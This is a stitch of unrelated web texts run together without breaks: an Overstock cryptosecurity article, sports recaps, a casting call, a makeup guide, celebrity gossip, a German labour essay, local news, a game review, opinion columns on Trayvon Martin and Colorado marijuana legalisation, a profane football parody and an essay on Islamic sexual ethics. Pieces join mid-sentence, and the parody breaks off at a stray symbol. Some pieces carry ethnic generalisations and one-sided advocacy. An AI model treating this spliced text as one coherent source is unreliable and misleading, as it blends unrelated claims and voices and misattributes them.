intention can get while being still exploratory. If it gets any more solid, I will have to notify the Securities and Exchange Commission (SEC).”
If introduced, Overstock would be the first publicly traded company to also offer a cryptosecurity as an option to investors. Byrne suggested any Overstock offering, should it move past the exploratory phase, would not be focused on raising revenue, saying:
“If we hypothetically issued such stock, it would really be in a small amount. […] We’re doing it because we want to figure out how to do it and show how to do it [so] other people can fund their companies using the system we develop.”
Cryptocurrency crowdsales have become an increasingly popular and sometimes contentious way for bitcoin startups to launch and raise money, with leading Canadian exchange CAVIRTEX and the now defunct Neo & Bee providing notable examples of the varying results produced so far through this approach.
Eliminating corruption
Throughout the conversation, Byrne stressed that he believes that cryptosecurities have the potential to vastly impact the traditional investment industry.
Noting how he thinks cryptosecurities could be even more powerful than cryptocurrencies in the long term, Byrne remarked:
“If every payment went to bitcoin, it would be a $16tn industry. If every exchange on the stock market went to a cryptosecurity it would be a $4qn industry.”
Byrne went on to suggest that he believes the Depository Trust & Clearing Corporation (DTCC) – a financial services company that provides clearing and settlement for the majority of US securities transactions, should be disintermediated by a block chain-based solution, and that doing so could prove more valuable to society than replacing central banks.
“The central bank is not good institutional design, it’s bad institutional design,” Byrne said. “It’s good people trying to do the right thing. […] In the case of the DTCC, I think that it’s a corrupt organization that shows [the] influence of organized crime.”
Cryptosecurities, he asserted, hold the potential to eradicate the need for such centralized parties, and any steps toward this future, he suggested, would be beneficial.
How the offering could work
Though the specifics of a final offering would likely be shaped by the cryptosecurities exchange platform Overstock chooses, the end result would aim to be similar to a traditional common stock, with the same associated economic and legal rights.
Byrne stated:
“Hypothetically, we would want to make it as close to an equivalent to our common stock as possible and trade at the same price.”
Speaking to CoinDesk in the past, some of the burgeoning cryptosecurity sector’s major players acknowledged that the legality of securities trading using decentralised block chain-based platforms is still murky, especially as laws around traditional crowdfunding remain opaque.
Still, without guidance from the SEC, Byrne suggested that Overstock could seek to be the company that raises the issue, adding:
“We’re open-sourcing how to create an alternative to the current corrupt institutions that dominate Wall Street. If their lap dog, the SEC, subpoenas me, I intend to open-source their subpoena and open-source my response. And when the DOJ indicts me, I’ll post that online and we’ll open-source our response to that.”
Obstacles ahead
Should Overstock go ahead with such a proposal, it acknowledges it would likely encounter a number of issues. The wiki page currently names transaction recordkeeping and legal requirements, for example, as two areas that need further clarity.
In part, Byrne explained, the company’s new wiki page is an attempt to find solutions to these obstacles. He said:
“We’re basically open-sourcing the answers. Instead of asking some law firm to spend $1m to try and figure it out, we’re turning it over to the world and say ‘Hey you folks who want to see this happen, come and help figure out some of these questions on our wiki’.”
Still, Byrne cautioned that while he’s enthusiastic about the project, the SEC will have the final say on whether Overstock could even issue a cryptosecurity.
“I agree that it’s too exploratory to do now, but that’s why we have the blank wiki page,” Byrne said. “As the issues get resolved on that wiki page it will become less and less risky.”
In particular, Byrne suggested that Overstock is hoping securities lawyers and stockbrokers can contribute to the page as it continues to explore the possible offering.
To learn more about Overstock’s proposal, visit the full wiki page.
Hat tip to Wired / Image via WiredThere was little that came easy for the Georgetown men’s basketball team during its 68-63 victory over DePaul on Saturday night, but the Hoyas survived, and that’s really all that matters as far as postseason aspirations are concerned.
Georgetown (18-8, 10-5 Big East) won its third in a row and eighth in 11 games to dodge what would have been an unsightly blemish to its NCAA tournament résumé. The Hoyas also secured a first-round bye in the Big East tournament by beating DePaul for the 13th time in a row in the regular season and are alone in second place in the conference behind Villanova.
The final minute yielded plenty of drama, with the Hoyas desperately trying to protect a slim lead. They couldn’t exhale fully until junior guard D’Vauntes Smith-Rivera made 1 of 2 foul shots with 0.7 seconds left for the final margin after DePaul’s Billy Garrett Jr. missed a layup, forcing the Blue Demons (12-16, 6-9) to foul.
Smith-Rivera led the Hoyas with a game-high 19 points, seven rebounds and three assists without a turnover while playing all 40 minutes. Senior center Joshua Smith added 15 points and 11 rebounds for his sixth double-double this season.
“Josh wanted the ball tonight,” Hoyas Coach John Thompson III said. “Some nights I’m not really sure he wants it in there. It was clear he wanted the ball. Every time I would call something else, [his teammates] would say, ‘No, let’s get it to Josh,’ so they wanted to get him the ball. It was definitely a concerted effort.”
Georgetown came out of the locker room at halftime determined to get Smith more involved, and the 6-foot-11, 340-pounder gladly accepted the responsibility, first by collecting freshman forward Isaac Copeland’s pass and scoring on a layup. Then Smith grabbed an offensive rebound and converted the putback for a 34-27 lead.
“I was kind of in a slump the last few games,” said Smith, who helped the Hoyas to a 42-22 advantage in points in the paint. “Just with how I was playing and just with my effort. It was one of those nights where my teammates were riding me out, and I just tried to go out there and perform for them.”
A dunk from Smith stretched the advantage to three possessions, and Smith-Rivera’s driving layup made it 40-30 with 16 minutes 40 seconds left in regulation. Just over a minute later, the Hoyas expanded the lead to 11 following a three-point play by Smith, but DePaul regrouped to close within 43-39 with a jumper, a three-pointer and a layup.
The Hoyas took a seven-point lead with a 6-2 burst capped by reserve forward Aaron Bowen’s leap well above the rim to gather Smith-Rivera’s lob pass and dunk with two hands while drawing contact. Bowen missed the bonus free throw, and the Blue Demons scored their next five points from the foul line to trim the deficit to 50-46 with 7:58 to play.
“Georgetown [is] clearly one of the best teams in our league, one of the best teams in the country. Playing well right now,” Blue Demons Coach Oliver Purnell said. “Smith-Rivera is terrific. What a fine money player he is. We put ourselves in position, but we didn’t finish it out on the glass.”
DePaul wasn’t done yet thanks to Forrest Robinson. The senior forward sank three three-pointers in a row, the last of which drew the Blue Demons to 56-55 with 5:42 to go, but Georgetown extended the margin back to two possessions with senior guard Jabril Trawick’s layup and Smith’s two foul shots.
Garrett then missed two foul shots, and Copeland turned a blistering pass from Smith into a jumper for a 62-56 lead with 2:53 left.
A one-possession game with 26 seconds remaining, the Hoyas converted 4 of 6 free throws to send DePaul to its fourth straight loss.
“We knew that his game would be tougher than most because at this point DePaul has lost a few games in a row,” Smith-Rivera said. “They were coming out strong and looking for a win. We have so much to play for, and they’re trying [to] recover and get back to where they belong. We knew it was going to be a tough game. We just wanted to come out with a win.”Casting directors for The Real World will be in Boise on Wednesday, March 9, looking for 18 to 24 years olds for the 26th season of MTV's "reality" show.
According to the press release, here are the kind of kids they are looking for (read: damaged/hip/cool/not cool/weird/smart/uptight/loose/crazy/whatever... )
This season casting directors will be on the lookout for applicants who have challenges living an everyday life that most take for granted, struggling with weight issues, affected by a natural disaster, products of home or alternative schooling, followers of unrecognized or non-mainstream belief systems, elite athletes, recent graduates affected by the economic downturn, those involved with goth, emo, or punk subculture, members of a pro-abstinence organization, those who are recently single due to a tragedy, someone who has recently gotten out of the foster care system, and individuals who want to bring the spotlight of “The Real World” to a cause, condition, or social issue they care deeply about or are personally affected by. We are also particularly interested in cast members who have had to work hard to support themselves and move ahead in their lives.
If you fit into any of these categories or are just someone who would like your every moment captured on film for perpetuity, be at Legends Sports Pub and Grill from 10 a.m.-5 p.m. with a recent photo of yourself and photo ID. You must not only be between the ages of 18 and 24, you must "appear to be between the ages of 18 and 24."
If you can't get to Legends, you can apply online. Visit bunim-murray.com/rwcasting for details.Undertone Colours
1. Warm or Cool?
First look at a person's skin colour in comparison to a neutral colour foundation.
(If you don't have a neutral colour, compare it to a pink colour and a olive colour foundation.)
Does it fall to a warm (olive) or cool (pink) side? Or what about in between - Neutral?
Mix your proportions using the available colours you have for the perfect % combination of cool and warm..
2. Common undertone colours
For example, East Indian/East Asian for the medium-darker skintones have a lot of golden, olive based colour in it. For the more fair skintones, it is usually pink or neutral based, and sometimes a combination of both!
Orientals usually have a olive, yellow, yellow/green undertone sometimes or a golden yellow tinge.
Mediterranean skintones sometimes have a sallow complexion that would look nice if a cool pink, tan undertone is added to their complexion
Latinas/Hispanic ethnicities often times have a beautiful gold or warm tan undertone.
African American skintones have a ruddy rustic red colour sometimes, or an orange/yellow gold glow.
For the common Fair Caucasian, has a pink undertone with a lot of blue, red, often times purple discoloration and will look best with warmer orange, warm tan colours!
This is a more generalized indication of what undertones are in different ethnicities but use your eye and intuition as it is the best indicator for you! I hope these tips have provided you a better understanding of how to makeup different skintones! The following is a video featuring a former bride and winner of the first ever Oliva Ha Makeover Contest by the name of Diana. She is a wonderful latina mother of two who got the chance to experience a makeover with me. See for yourself an example in real-time of how I match the unique skin tone of a hispanic woman here:
Your Makeup Artist Toronto,
Makeup • Hair • Beauty Specialist
OliviaHaMakeupArtistToronto.ca
Specializing in:
• Bridal Makeup Artist Toronto
• Special Events Makeup Artist Toronto
• Indian Wedding Makeup Artist Toronto
• Ethnic Bridal Makeup Artist Toronto
• Asian Bridal Makeup Artist Toronto
• Chinese Makeup Artist Toronto
• Luxury Makeup Artist Toronto
Share This:Katt Williams Sucker Punches Kid But Gets Ass Beating
Katt Williams Sucker Punches Kid But Gets Ass Beating
9:14 AM PT -- Law enforcement sources tell us the police have reviewed the video and have launched a criminal investigation with Katt as the target. Katt, who is also on bail for multiple assault charges, is currently out on bail but one of the conditions is that he keeps his nose clean. The police are also reviewing the bail order to determine if he violated and whether bail should be revoked.
Katt Williams threw a punch at a kid, but when you watch the video it's clear the kid ends up kicking Katt's ass.
Katt throws the first punch but the victim -- who's reportedly in 7th grade -- takes matters into his own hands and puts Katt in a rear naked choke.
Katt was in Gainesville, an hour outside Atlanta handing out cash... it's unclear how things went south.
Williams has been arrested several times over the last month for this kind of behavior. Cops tell us so far... no one has called to complain.Lehrling = Jugendlicher? Twister (Bettina Winsemann)
Firmen warten auf Lehrlinge, oft vergeblich. Aber dass ein Lehrling nicht automatisch ein Jugendlicher sein muss, hat sich wenig herumgesprochen.
Schon seit längerem beklagen sich Firmen darüber, dass ihnen qualifizierte Nachwuchskräfte fehlen. Die Jugendlichen seien immer weniger qualifiziert, es fehle an grundlegendem Wissen und und und. So verzweifelt sind einige, dass die Arbeitsagentur hilfreich mitteilt, dass Förderunterricht noch helfen könnte. Wer die diversen Meldungen zum Thema verfolgt, der kommt zu der Ansicht, dass ein Lehrling automatisch auch jugendlich sein muss. Aber hier stellt sich die Frage: warum eigentlich?
Studieren war ebenfalls lange Zeit als ein Bildungsweg für junge Menschen angesehen, mittlerweile hat man sich an diejenigen gewöhnt, die neben der eigentlichen Tätigkeit studieren oder gar erst im Alter von 50 aufwärts noch ein Studium beginnen. Es mag exotisch wirken für einige, aber es ist kein Novum mehr. Doch beim Thema Ausbildung wird der Auszubildende immer noch mit dem Jugendlichen gleichgesetzt, ältere Lehrlinge scheint es höchstens als "Umschüler" zu geben. Wer sich als Mensch über 25 auf eine Lehrlingsstelle bewirbt, wird oft vom Arbeitgeber nicht einmal in Betracht gezogen, ein Auszubildender über 40 Jahre scheint für einige etwas zu sein, was nicht existieren kann. Warum? Einerseits wird von späteren Renteneintrittsaltern gesprochen, von Flexibilität und Anpassung an neue Berufe, aber die Flexibilität wird oft lediglich von den Anwärtern verlangt, nicht von den potentiellen Arbeitgebern.
Für Menschen ab 25 erweist sich der einst ergriffene Beruf oft als Sackgasse, doch für den Wechsel stehen lediglich Umschulungen und Weiterbildungen offen, die zweite Lehre ist kaum von den Arbeitgebern überhaupt angedacht. Dies erschwert es nicht zuletzt aber auch den älteren Arbeitssuchenden, aus der Arbeitslosigkeit herauszukommen, selbst wenn sie wollten. Dabei geht es nicht darum, dass der Steinmetz, wie einst im Zuge der Arbeitslosigkeitsbekämpfungsdebatte gefordert, auch im Büro arbeiten soll, es geht darum, dass ihm, so er dies freiwillig lernen möchte, auch die Gelegenheit gegeben werden sollte. Wer aber beim Thema Lehrling lediglich Menschen unter 20-25 Jahren im Blick hat, der nimmt nicht nur den Arbeitssuchenden Chancen, er nimmt sich auch selbst welche, denn ein Lehrling, der bereits Erfahrung im Berufsleben anzubieten hat, wird sicherlich den Qualifikationen entsprechen können, wenn es um Aussehen, Manieren usw. geht. Doch weiterhin bleibt Lehrling mit Jugendlicher übersetzt.
Nachtrag nach einem Kommentar im Forum: Obgleich der Begriff Lehrling durch den Begriff "Auszubildender" ersetzt wurde, wird jedoch weiterhin von Lehrlingen wie auch von Auszubildenden gleichermaßen gesprochen, was sich auch in den Nachrichten zum Thema wiederfindet, weshalb ich ebenfalls den Begriff "Lehrling" nutzte. Ich danke aber für den Hinweis.The Vinyl Countdown (props to whoever came up with that name) could open in downtown Charleston this year, pending the success of an Indiegogo crowdfunding campaign that launched last week.Hopeful record store owner Aaron Levy said on the site, “Our goal is not only to simply sell records, but to create a communal gathering space where people can listen to music (using headphones, over the stereo system, or live), discuss music and feel comfortable finding a place to sit down for a while, have a free cup of coffee, and enjoy the vibe.”The $15,000 goal comes with contribution perks, like stickers, T-shirts, LP frames, gift cards, record players, music lessons, and more. The exact store location is yet to be determined, although Levy says it's down to a couple of different spots in Elliotborough.The campaign began on Feb. 8 and will close on April 9. With 58 days left to decide its fate, the store truly faces The Vinyl Countdown.Image copyright Reuters Image caption The Vatican says its long-term aim is to digitise 40m pages of documents
The Vatican Library has begun digitising its priceless collection of ancient manuscripts dating from the origins of the Church.
The first stage of the project will cover some 3,000 handwritten documents over the next four years.
The cost - more than $20m (£12m) - will be borne by Japan's NTT Data technology company.
Eventually, the library says it hopes to make available online all its 82,000 manuscripts.
"The manuscripts that will be digitised extend from pre-Columbian America to China and Japan in the Far East, passing through all the languages and cultures that have marked the culture of Europe," said Vatican's librarian Monsignor Jean-Louis Brugues.
The 3,000 documents to be scanned digitally over the next four years include copies of works of classical Greek and Latin literature and mediaeval and Renaissance illuminated manuscripts.
The library, founded by a 15th Century Pope, also contains important works of mathematics and science, law and medicine from earliest times up to the present day.
The long-term aim is to digitise 40m pages of documents
In the 1980s, the Vatican persuaded Japan's Nippon Television to provide major funding for the restoration of the Sistine Chapel, the BBC's David Willey in Rome reports.I grew up reading a lot of picture books, and many of the stories stayed with me throughout my life. The colorful illustrations brought the characters to life, and the simple stories often had elements of real truth to them. So, I have a soft spot for woodland creatures exploring enchanted forests. Thus, when I saw Seasons after Fall, I was excited to explore that storybook world as well.
Now, on paper, Seasons after Fall is a premise that we’ve seen many times before in indie games. What sets Seasons after Fall apart, however, is just how exquisite its illustration and animation are. The visual direction of the game is simply remarkable, and it’s some of the best I’ve seen in a game. It has a lush, vibrant color palette, and its hand-drawn style is reminiscent of watercolor paintings. The hand-drawn aesthetic manages to make the game much more picturesque, and it creates a charming look and feel. It actually does give you the sense that you’re in a storybook that’s come alive. This storybook atmosphere is complemented by the game’s expressive symphonic soundtrack, which comes in at some of the more intense moments.
The game’s central premise really makes use of the talent behind its visuals. Essentially, your character gains the ability control the four seasons. The game really manages to give each season its own unique feel and I felt the mood truly shift whenever I switched seasons. The game is more or less a puzzle platformer, and most of the puzzles involve getting through obstacles. Changing seasons shifts the layout of every level, and your objective becomes to use these layout changes to navigate obstacles and get around. The game gives some brief tutorials as you go along, but most of the puzzling in the game is fairly intuitive. It makes a lot of use of glowing objects and flashing cues, so you’ll really be guided throughout the game, just not with words and direct instructions. The game never really presented that much of a challenge, and I got stuck briefly maybe a handful of times throughout my playthrough.
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You’re also guided by a disembodied voice on a quest to perform a ritual in the forest. Initially, you’re a small glowing orb, but you eventually possess the body of a small, nimble fox and begin exploring the reaches of the forest. Now, in terms of story, the way Seasons after Fall is laid out made me constantly anticipate a moment where everything would turn horribly wrong and some kind of cosmic force would level the forest and kill all the innocent creatures. I mean, it’s a popular trope for a reason: beautiful fantasy worlds evoke our sympathy and adoration, and destroying them always manages to get an emotional response out of us. However, thankfully, that doesn’t happen. There is a sort of central conflict that drives you throughout the game, but the game keeps it pretty light throughout. You never really face any danger, and it’s much more of an adventure than a challenge. I won’t spoil how the story plays out, but I will say that I liked the ending.
As far as games go, Seasons After Fall doesn’t manage as much as a puzzle platformer. The lack of a real difficulty curve and the intuitive design mean that you’ll be able to breeze through it in 3-4 hours. It makes up for this, however, with its story and setting, and ends up providing a pleasant little experience that feels right for its price range.
Seasons after Fall was reviewed using a PC downloadable code of the game provided by Focus Interactive. Game was tested on a PC running Windows 7 Pro, with a 4GB NVIDIA Geforce GTX 970 fitted on a 4th Generation Intel i7 4790 3.6Ghz CPU and topped with 8GB of RAM. We don’t discuss review scores with publishers or developers prior to the review being publishedWick's World
To be very clear, these are the views and opinions reflected by Wick Fisher and not of the newspaper.
The verdict was obvious before the charges were even made. The way Florida law was written, Trayvon Martin should not even had his day in court. Morally, he deserved one; legally, he did not. The way the ticking-time bomb law was written in Florida, wannabe cop George Zimmerman, a trigger-happy vigilante was legally allowed to go a huntin’.
George Zimmerman’s actions that tragic night had nothing to do with protecting society and everything to do with his passion for playing with cowboy justice. Back in the Wild West, a blind eye would have greeted his actions. Today, one thought America would have placed a little more emphasis on the "civil" part of the word civilization. Unfortunately, the law referred to as “Stand Your Ground” has proven civility to be limited. In many parts of America, this law will become a license to kill.
George Zimmerman was a legal gunslinger who exercised the new, poorly written "Stand Your Ground" law.
Technically, this case should never have gone to trial. You can either blame or thank the media that it did. Remember, the local police made the decision that night not to charge George Zimmerman with any unlawful act. In this case, the cops were correct. The law was on their side. Ethically, morally and especially historically, this incident came across as another cold-blooded murder for no other reason than the fact that the victim was an African-American; period. This case was no more complicated than that.
The same incident could have happened to Hispanics in Arizona or elsewhere. Two sets of justice prevail in my home state of South Dakota — one for whites and another for Indians. I mean no disrespect by the term “Indian” but if you live in South Dakota, you understand why it’s used in this context. Racism in the Dakotas and elsewhere runs as deep as anywhere in the Deep South.
Trayvon Martin would not have gotten more than a second glance from George Zimmerman but for the color of his skin.
Decades ago, a Native American friend of mine got pulled over near Cloquet one night. The officer eventually charged my law-abiding friend with crossing the center line, a common police practice when no other illegal evidence turns up.
When my friend, a professor at UMD, went to a lawyer to fight this injustice, the lawyer stated, “You just got charged with a DWI.”
“No,” replied my friend. “I don’t even drink.”
“I meant Driving While Indian,” replied the lawyer.
Fortunately, some things have changed since the days of the Wild West. Yes, they have even improved since Jim Crow ran his reign of terror in the Deep South. Despite this, a new archaic, life-threatening "Stand Your Ground" law is sweeping the nation. To me, it looks like a red-neck sport-hunting license to harass, intimidate and even murder minorities.
Hopefully change will come as it has in Carlton County, due in a large part to our no-nonsense sheriff, Kelly Lake. The buck stops at the top and Sheriff Lake has set a high standard since she assumed authority. Leadership such as hers has a trickledown effect that needs to be emulated by not just law enforcement, but particularly by lawmakers.
You can blame George Zimmerman for being an over-zealous want to be cop. You cannot legally claim him to be a murderer. It is the Florida State Legislature that has the blood on their hands.
I spent two full years as the only white person at a Native American school — the first as a 4-year-old first grader, a half century later as a librarian. One day the school counselor walked into my library and handed me a small wallet size card. It contained the Constitution and the Bill of Rights.
“You probably won’t need it, but I give one to all the kids as soon as they enter high school. Some day every one of them will need it,” he said.
To George Zimmerman: You could have said, “Do you need a lift? I patrol the area; who are you seeing or why are you here?” or even, “I don’t recognize you, can I be of assistance?”*collapses*This started as a submission for the holiday episode, but it took me too long to sketch out the scene prior to the vector. So rather than submitting something that was only half done, I spent several more hours adding details, shading, and tweaking little things that no one will ever pay attention to XD.I've also found that shading using simulated transparency (meaning just extra color with no opacity change) is more fun than just turning down the opacity on an object. Also multiply might be my favorite blending mode now!The texture on the sofa is from Texture Pack #1 byIt was then turned into a vector through the image trace feature in Illustrator for infinite scalability ;3MLP is copyright fixed a problem with the background coloradded some shading for Velvet's eye and Twi's eyelashesThis Weedist series is dedicated to stopping the misinformation [~3 meg PDF, No On 64 ‘fact’ sheet] being spread by the campaign to prevent Colorado voters from legalizing marijuana with Amendment 64. For those who didn’t catch Moirai’s recent article, the ‘No On 64’ campaign is principally funded (95%) by alleged former child abusers and rehab profiteers.
MYTH: Marijuana isn’t a gateway drug—it doesn’t lead to other drug use.
FACT: At least ten very large studies conducted involving thousands of children and adolescents in several countries have shown that kids who use marijuana are 2-3 times more likely to go on to use other substances. While not everyone who uses marijuana will move on to other addictive substances, nearly all users of cocaine, meth and heroin used marijuana first.
REAL FACTS:
1. “At least ten very large studies conducted involving thousands of children and adolescents in several countries have shown that kids who use marijuana are 2-3 times more likely to go on to use other substances.” As we hope everyone was taught in school or at least by their parents, it’s always important to dissect these kinds of arguments carefully. Two or three times more likely than who?
2. “While not everyone who uses marijuana will move on to other addictive substances, nearly all users of cocaine, meth and heroin used marijuana first.” And nearly all of them used alcohol first, too, but few people would claim that alcohol leads to heroin.
If you’re really into mixing up correlation with causation, ponder this: nearly all users of cocaine, meth, and heroin — and, for that matter, serial killers, sex fiends, and war criminals — all drank their mother’s milk or baby formula at the critical age when their brains were forming! Does that mean that it’s their mothers’ fault?
Marijuana isn’t a gateway drug. There is nothing inherent in a marijuana high that makes you want to take other drugs…heck, there’s not even anything about marijuana that makes you want to take more marijuana!
The only actual connection between marijuana and other illegal drugs is that they’re all illegal. So it makes sense that some marijuana dealers might pressure their customers to try other drugs, if they’re more concerned with profits than their customers’ health. But that’s part of the very reason why people want to legalize it…so that ordinary people won’t have to deal with criminals just because they’re looking for a safer recreational substance than alcohol, or a safer mood-altering substance than tobacco.
You don’t have to take my word for it, either. You could read the results of studies by groups such as the conservative RAND think tank, drug experts at the University of New South Wales and many other research centers, or even ask Time magazine or various wikis.
The opponents of cannabis resort to tactics such as leaving out relevant facts, misdirection, and out-and-out lying nearly every time they attempt to influence the American people. If they truly were in the right, would they even have to do this?
Vote Yes on Amendment 64!
More of Colorado Amendment 64: Know the LiesED NOTE: This has bad words. None of the other things we write on here do, but this one does. It seems to be a popular bit, so until the law catches up with me, I’m going to keep doing it. Thanks for understanding, and thanks for not reading and not letting your kids read it if bad language isn’t your thing. Hope you enjoy the rest of our articles—Ted
When you’re a warrior poet, your roots and where you come from, in a large part, defines who you are and they help set you on your path. But once you’re on your path, there’s no looking back. People may have helped you on your way, and you’re forever grateful and you pay it forward when you can. But once you’ve struck out in search of your destiny, the journey is yours. Where it goes and how it ends is on you. You’re not a heartless bastard, though, and sentimentality has it’s place. Remembering where you’re from is important; it helps ground you and keeps you focused.
As you continue on your journey, sometimes you come across people who were once friends that are now, by time and circumstance, a foe intent on striking you down. Altering your path, maybe even denying you of your destiny. And at that moment, sentimentality has no place. The fact that former friends, or mentors, have chosen against you is a ‘them’ problem, not a ‘you’ problem, and at the moment of truth, you’ll do what needs to be done.
Because you are Zim Tzu, The King In The North, Declawer Of The Feline, Razer of Atlanta, Slayer Of The Jungle King, Silencer Of The Lambs, Pillager Of Capitals, Conquerer of The Brown Islands, Murderer of Crows, Melter Of Cheese, Hunter Of Bears, He Who Makes Pirates Walk The Plank, Impaler Of The Fleur De Lis, First Of His Name, High Septon Of Mankato, Lord Commander Of The Iron Range And Twin Cities, and Master Of Fortress Winter Park.
And once you have vanquished your former friend to the dustbin of history, you want to tell the Great Unwashed how awesome it was, but you also feel the need to temper your words. There’s a sense of satisfaction in striking down a former mentor or teacher, but you don’t want to overtly convey that. You want to be more subdued, sober.
And that’s the role we fill.* We take the words of Zim Tzu, remove all the fluff,** and give you the true essence of what the meaning is. The Yang to the Yin, if you will.***
*I’m a drunkard more than I’m sober and subdued, so I am unable to fill any role responsibly if we’re being honest here.
**By that I mean I read his actual quotes from his day-after-the-game press conference, and make up an enormous amount of bullshit for a cheap laugh.
***I’m quite certain that is nothing close to what Yin and Yang mean.
As usual, Zim Tzu had an opening statement.
What Zim Tzu said: After watching the tape from yesterday, I thought defensively we played very well. We flew around the ball, we were in the right place for the most part. A couple mistakes here and there, I think the crowd helped us a lot defensively. Offensively, I thought we shot ourselves in the foot a little bit with some of the penalties that we had. It kind of set us back in some of the things. But, some of them we overcame. Case [Keenum] whatever it was, 20-of-23, I thought he did some very good things. Taking care of the ball, you know, it helped get some good runs in there, some efficient runs. Special teams, I thought we did a good job as well.
What Zim Tzu meant: My goodness but did we ever skullfuck Cincinnati. Had we not done some dumb shit, we would still be skullfucking them. Case Keenum is a goddamn CIA assassin. Kai Forbath didn’t give me a heart attack, just a minor palpatation. It was a good day.
Q: What did you think were some of the factors in those offensive penalties?
What Zim Tzu said: It was holding, grabbing guys. For the most part, it was stuff like that. Guys would start to come off a block and we would grab them.
What Zim Tzu meant: Coulda swore on Saturday we removed the part of the gameplan where we play grabass. Guess we didn’t. Fuckin’ grabass.
Q: What has been the key to the explosive plays on offense?
What Zim Tzu said: I think we’ve done a nice job of keeping teams off balance with some of the play actions and some of the running game. We’ve had the opportunity to hit some shots when we’ve been able to. I think it’s the combination of keeping people off balance a little bit.
What Zim Tzu meant: In the off-season I had Pat Shurmur out to the house and we were talking offensive strategy and I says ‘you know Pat I’m a defensive guy but maybe the run/run/throw five yards short of the first down/punt is an offensive philosophy that’s more fucked up than the catch rule. Look, I know you CAN do it if you want to, but no one WANTS you to do that. How about we try some ‘let’s throw 20 yards down the field and see what the fuck happens’ plays? And Pat was pretty cool about it, so we did.
Q: Is there a certain special teams area you’ve seen stand out in recent weeks?
What Zim Tzu said: All the areas are doing much better, I think, now. We could still probably be better on kickoff return but we’ve been careful about the ones we take out. Other than that, I think they’ve done a lot better. I think Marcus has been a lot more aggressive. That’s added to field position. I think our coverage units have been better. I can’t remember, I think we got them inside the 20-yard line three or four times yesterday.
What Zim Tzu meant: Ryan Quigley is awesome. Kai Forbath doinked another one in and now he’s just fuckin’ with all of us.
Q: Has there been an emphasis on expanding Jerick McKinnon’s role in the passing role?
What Zim Tzu said: Honestly, I don’t think it’s expanded any. He’s always had a big role in the passing game. He’s always been a good third down guy. We just happened to catch them yesterday on a couple things that they messed up. Honestly, it was the same play both times. One time they were in zone defense and they didn’t play it correctly. One time they were in man coverage and they ran into each other. So, he was pretty open.
What Zim Tzu meant: Not really but we noticed a couple things Cincinnati was doing. Whenever they lined up in |
West, are ignorant of the dangers and ugliness inherent in zina. Zina itself is no longer taboo, and so genuinely ignorant people should not be judged.
Rather, my purpose is to reacquaint people with the claim that, for very good reasons that have nothing to do with one’s personal religious beliefs, extramarital relations are an objective evil. By doing this, I aim specifically to counter the widespread attack on Islamic sexual ethics by liberal secular ideologues who strive to portray Islam as outmoded or even inhumane. I believe that this attack needs to be countered with clear arguments and evidence, and talking about the enormous negative societal effects of extramarital sex is a good starting point.
Also by way of disclaimer, I should say that I am aware that arguing on the basis of “society” and the overall “public good” is anachronistic from the perspective of traditional Islam. But, again, I am deliberately (yet, cautiously) using this language in order to be conversant with modern normative discourse, which often takes the form of sociological analysis.
I am also sensitive to the characterization of traditional religions as prioritizing communal benefit and modern liberalism, by contrast, putting a premium on individual autonomy. Based on this, it may seem that my appeals to public good and societal cohesion are just another way of saying that individuals must sacrifice their sexual autonomy for the sake of the overall good. In actuality, I find this supposed tension between communal well being and individualistic autonomy incoherent, since, from one perspective, what benefits people individually will, in the collective, benefit people in the aggregate and vice versa. In this light, then, abstinence is not merely a sacrifice for the sake of the collective good, but a sacrifice that contributes to the good of people in the aggregate and, thereby, the good of people on the individual level. We will also see it work the other way, viz., as contributing to the good of people on the individual level and that, in the aggregate of millions of lives, contributing to the good of people collectively. In this way, we can bypass the charge of anachronism when employing inexorably modern concepts like “society,” “demographic indicators,” “population,” etc.
Critics of Islamic Sexual Ethics
As it turns out, Islamic sexual ethics have been the target of unrelenting criticism from modernists and liberals for decades, critics who argue that Islamic law stifles the sexual freedom and autonomy of individuals by prohibiting premarital sex. If two people love each other, they argue, why can’t they consummate that love? Who is harmed by such a consensual relationship? Clearly, there are no victims, so Islamic sexual prohibitions must only be based on prudery and outmoded sexual repression. That is why, the argument continues, we must spurn these prohibitions in favor of freedom and the human right to sexual self-determination.
But this argument against Islamic law is woefully inadequate. To the contrary, it can be argued that prohibiting zina clearly protects people’s freedom and autonomy and promotes human rights. How? Because such prohibition effectively curbs the number of children being born to single mothers and couples who are not in a position to take adequate care of them. This in turn benefits the interests of children and hence, the interests of society at large. If crime rates go up, for example, because one generation ago, a large percentage of children were born out of wedlock, then those higher crime rates have a direct impact on my personal quality of life. If I have to pay higher taxes because the police force has to be beefed up, again, that is an imposition on my personal autonomy and freedom, as my personal wealth is siphoned off by government agencies and social programs that are taking care of children born of the ill-advised decisions of irresponsible yet sexually active individuals.
There is all manner of sociological evidence to support this line of reasoning. As one example, consider the hugely popular, bestselling book Freakonomics. In it, the authors, Levitt and Dubner, present research that correlates the legalization of abortion in America and other countries with subsequent drops in crime rates in those countries. They explain this correlation by arguing that legalizing abortion made it easier for women to terminate unwanted pregnancies. This, in turn, meant that fewer unwanted children were born and, hence, that fewer children grew up in detrimental environments and households that would make them prone to a life of crime.
Pro-abortion advocates often use this sociological data on crime rates to argue — much to the chagrin of their conservative, pro-life interlocutors — that abortion greatly benefits society as a whole. But the obvious conclusion that goes unnoticed, however, is that these same benefits of abortion could equally be achieved simply by preventing premarital sex. The exact same logic applies — if fewer people are having sex outside of marriage, there are fewer children being born to mothers who are not in a position to provide an upbringing that will prevent those children from eventually falling into illegal and destructive behavior, and so on.
Another way to look at it is that abortion is simply one of many ways to control reproduction. Contraception is another avenue. Forced sterilization is yet another. And, of course, sexual norms against zina, as found in Islamic law, are just another way to control how people in society reproduce (primarily from the perspective of quality and not necessarily quantity). Research shows that, on a societal level, crime rates, education levels, unemployment, drug use, and future family income, all can be significantly influenced by controlling reproduction via access to abortion and contraception. Obviously, those same benefits would, mutatis mutandis, obtain by prohibiting premarital sex.
The Scarlet Letter
And what about adultery? The concept of zina is inclusive of both premarital sex and adultery. Obviously, engaging in infidelity very often leads to divorce, i.e., creating those single-parent households that are correlated with numerous societal ills. In that way, adultery indirectly contributes to those ills in much the same way premarital sex does. Even if infidelity does not lead to divorce, however, there is empirical data to suggest that the instability in family life caused by unfaithful parents can negatively impact children and, therefore, correlate with those societal ills as well.
